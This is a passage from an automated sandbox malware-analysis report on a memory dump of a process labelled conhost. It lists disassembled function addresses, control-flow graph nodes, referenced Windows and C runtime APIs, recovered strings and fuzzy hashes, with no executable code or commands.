                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: malloc
                                                • String ID: \BaseNamedObjects\kwthmpqvlpqry$u3Mq$/Mq
                                                • API String ID: 2803490479-103898090
                                                • Opcode ID: 626190f2703dd28abb01d18b271acc0c1488d1c0e93df377a4924b427609a752
                                                • Instruction ID: 259f0814f1eb368d728f7ac94acddd2576c5b2989c5a7dc700e81f1bd1634377
                                                • Opcode Fuzzy Hash: 626190f2703dd28abb01d18b271acc0c1488d1c0e93df377a4924b427609a752
                                                • Instruction Fuzzy Hash: 417191B6B006144BEB56DF26B520BAA3792F34CBD8F045218FF4A673A5EB3598458740
                                                Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 627 140001880-14000189c 628 1400018a2-1400018f9 call 140002420 call 140002660 627->628 629 140001a0f-140001a1f 627->629 628->629 634 1400018ff-140001910 628->634 635 140001912-14000191c 634->635 636 14000193e-140001941 634->636 638 14000194d-140001954 635->638 639 14000191e-140001929 635->639 637 140001943-140001947 636->637 636->638 637->638 640 140001a20-140001a26 637->640 641 140001956-140001961 638->641 642 14000199e-1400019a6 638->642 639->638 643 14000192b-14000193a 639->643 646 140001b87-140001b98 call 140001d40 640->646 647 140001a2c-140001a37 640->647 644 140001970-14000199c call 140001ba0 641->644 642->629 645 1400019a8-1400019c1 642->645 643->636 644->642 650 1400019df-1400019e7 645->650 647->642 651 140001a3d-140001a5f 647->651 654 1400019e9-140001a0d VirtualProtect 650->654 655 1400019d0-1400019dd 650->655 656 140001a7d-140001a97 651->656 654->655 655->629 655->650 657 140001b74-140001b82 call 140001d40 656->657 658 140001a9d-140001afa 656->658 657->646 664 140001b22-140001b26 658->664 665 140001afc-140001b0e 658->665 668 140001b2c-140001b30 664->668 669 140001a70-140001a77 664->669 666 140001b5c-140001b6c 665->666 667 140001b10-140001b20 665->667 666->657 671 140001b6f call 140001d40 666->671 667->664 667->666 668->669 670 140001b36-140001b57 call 140001ba0 668->670 669->642 669->656 670->666 671->657
                                                APIs
                                                • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: ProtectVirtual
                                                • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                • API String ID: 544645111-395989641
                                                • Opcode ID: 4f363fbc663782a43a1c313914c9a1d5478c90c523ab352ff684cc0c210fc462
                                                • Instruction ID: 805b01cfd272e54562edbb1eda576b6dd96a89ce5cfb26a64aa932fe3449c152
                                                • Opcode Fuzzy Hash: 4f363fbc663782a43a1c313914c9a1d5478c90c523ab352ff684cc0c210fc462
                                                • Instruction Fuzzy Hash: DC5115B6B11544DAEB12CF67F840BD82761A759BE8F548211FB1D077B4DB38C586C700
                                                Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 675 140001800-140001810 676 140001812-140001822 675->676 677 140001824 675->677 678 14000182b-140001867 call 140002290 fprintf 676->678 677->678
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: fprintf
                                                • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                • API String ID: 383729395-3474627141
                                                • Opcode ID: ca6b003e7d5e4c1f7dddf901e9dd9bc29e86f15a224b0f641e9277e05f257cb0
                                                • Instruction ID: 497f2bda4b805bebb598d258fe75f44a47035596d1a2b2a7541446a23c8471c2
                                                • Opcode Fuzzy Hash: ca6b003e7d5e4c1f7dddf901e9dd9bc29e86f15a224b0f641e9277e05f257cb0
                                                • Instruction Fuzzy Hash: 61F0F671A14A4482E212EF2AB9413ED6360E74D3C0F40D211FF4DA32A1DF3CD182C310
                                                Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 681 14000219e-1400021a5 682 140002272-140002280 681->682 683 1400021ab-1400021c2 EnterCriticalSection 681->683 684 140002265-14000226c LeaveCriticalSection 683->684 685 1400021c8-1400021d6 683->685 684->682 686 1400021e9-1400021f5 TlsGetValue GetLastError 685->686 687 1400021f7-1400021fa 686->687 688 1400021e0-1400021e7 686->688 687->688 689 1400021fc-140002209 687->689 688->684 688->686 689->688
                                                APIs
                                                Memory Dump Source
                                                • Source File: 0000003A.00000002.4491874558.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                • Associated: 0000003A.00000002.4491831211.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4491970763.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492024776.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                • Associated: 0000003A.00000002.4492089452.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_58_2_140000000_conhost.jbxd
                                                Similarity
                                                • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                • String ID:
                                                • API String ID: 682475483-0
                                                • Opcode ID: 10a6547bcd181039d981ac7874b6c6ca71056261262d64670c03e5a0c05c4939
                                                • Instruction ID: 860c24777d86340ba5276ced09e5026f9818458346928e87fb0c861d019bd8d4
                                                • Opcode Fuzzy Hash: 10a6547bcd181039d981ac7874b6c6ca71056261262d64670c03e5a0c05c4939
                                                • Instruction Fuzzy Hash: 6301B2B5305A0192FA2BDB53FE083D86364BB6CBD1F454021EF5953AB4DB79C996C300